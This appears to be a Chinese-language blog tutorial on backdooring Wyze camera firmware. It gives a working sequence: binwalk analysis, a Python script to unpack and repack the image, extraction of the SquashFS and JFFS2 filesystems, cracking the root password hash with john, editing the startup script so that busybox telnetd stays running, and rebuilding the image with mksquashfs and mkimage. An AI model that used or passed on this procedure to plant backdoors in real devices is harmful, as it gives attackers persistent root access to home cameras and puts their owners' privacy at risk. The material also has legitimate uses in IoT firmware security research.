今天我们来分享一篇在摄像头固件中加入后门并重新打包的文章
今天我们选择的是一款Wyze摄像头,固件版本(demo_v2_4.9.5.36),后台回复<摄像头>获得下载地址
首先使用binwalk分析一下固件:
binwalk -t demo_v2_4.9.5.36.bin
分析1中的uImage信息,该引导程序告诉了我们很多关于固件的信息,例如架构MIPS、创建时间、系统类型还包括了CRC校验等等
根据第二部分中的uImage头信息,可以发现内核为Linux-3.10.14
第三部分为两个SquashFS文件系统,SquashFS是一种只读文件系统
第四部分是一个JFFS2文件系统。
现在我们可以使用binwalk -e提取所有的文件,但是我们为了一会儿方便的打包,我们自己写个程序提取文件。
#!/usr/bin/env python3
import sys
class Firmwarepart:
def __init__(self,name,offset,size):
self.name = name
self.offset = offset
self.size = size
firmware_parts = [
Firmwarepart("uimage_header",0x0,0x40),
Firmwarepart("uimage_kernel",0x40,0x200000),
Firmwarepart("squashfs_1",0x200040,0x350000),
Firmwarepart("squashfs_2",0x550040,0xa0000),
Firmwarepart("jffs2",0x5F0040,11075648-0x5F0040)
]
if sys.argv[1] == 'unpack':
f = open(sys.argv[2],"rb")
for part in firmware_parts:
outfile = open(part.name,"wb")
f.seek(part.offset,0)
data = f.read(part.size)
outfile.write(data)
outfile.close()
print(f"Wrote {part.name} - {hex(len(data))} bytes.")
运行
wyze_extractor.py unpack demo_v2_4.9.5.36.bin
提取后的文件如下图所示:
对于squashFS文件系统的提取,我们使用unsquashfs来实现:
unsquashfs -d squashfs_2_out squashfs_2
对于jffs2文件系统的提取,我们使用jefferson来实现:
jefferson -d jffs2_out jffs2
提取之后检查一下敏感信息,shadow文件如下:
使用john破解一下
现在我们知道了root的账号密码,如果开启了ssh服务,那我们就可以通过ssh登陆到主机。找一下系统启动项:
vi /etc/init.d/rcs
我们可以看到系统在启动时的确是启动了telnet服务,但是实际上telnet服务并未启动(通过扫描端口发现)。
我们在解包后的固件里直接搜索
grep -r telnet .
可以看到在iCamera文件里,telnet服务被禁用掉了。
事实上,该摄像头使用的telnet服务实际上为busybox中的telnet,所以我们可以将启动脚本中的telnet修改为:
busybox telnetd &
现在这个服务就不会被kill掉了,接下来我们要将这几个文件系统重新打包并生成固件。
我们使用unsquashfs查看一下原来的文件系统信息:
unsquashfs -s squashfs_1
接下来使用mksquashfs命令将更改后的新文件系统打包
mksquashfs squashfs_1_out/ squashfs_1_new -comp xz -b 131072
我们再将之前的程序加上一个打包功能,这样我们就可以把这两个squashfs文件系统和jffs2文件系统打包起来。
#!/usr/bin/env python3
import sys
class Firmwarepart:
def __init__(self,name,offset,size):
self.name = name
self.offset = offset
self.size = size
firmware_parts = [
Firmwarepart("uimage_header",0x0,0x40),
Firmwarepart("uimage_kernel",0x40,0x200000),
Firmwarepart("squashfs_1",0x200040,0x350000),
Firmwarepart("squashfs_2",0x550040,0xa0000),
Firmwarepart("jffs2",0x5F0040,11075648-0x5F0040)
]
if sys.argv[1] == 'unpack':
f = open(sys.argv[2],"rb")
for part in firmware_parts:
outfile = open(part.name,"wb")
f.seek(part.offset,0)
data = f.read(part.size)
outfile.write(data)
outfile.close()
print(f"Wrote {part.name} - {hex(len(data))} bytes.")
elif sys.argv[1] == 'pack':
f = open(sys.argv[2],"wb")
for part in firmware_parts[1:]:
i = open(part.name,"rb")
data = i.read()
f.write(data)
padding = (part.size - len(data))
print(f"Wrote {part.name} - {hex(len(data))} bytes.")
print(f"Padding {hex(padding)}")
f.write(b'\x00' * padding)
这样我们仅仅将文件系统打包,至于生成镜像的uImage header部分我们使用其他工具。先使用binwalk查看一下uImage_header:
着重关注以上几个部分,接下来使用mkimage来生成镜像:
mkimage -A MIPS -O linux -T firmware -C none -a 0 -e 0 -n jz_fw -d demo_backdoored.bin demo_images.bin
可以看到我们生成的镜像和之前几乎相同,因为没有实际的摄像头,此处就不对结果进行验证了。最终效果是摄像头启动后可开启telnetd服务,我们可以通过root账号密码管理摄像头。
参考链接:
https://www.youtube.com/watch?v=hV8W4o-Mu2o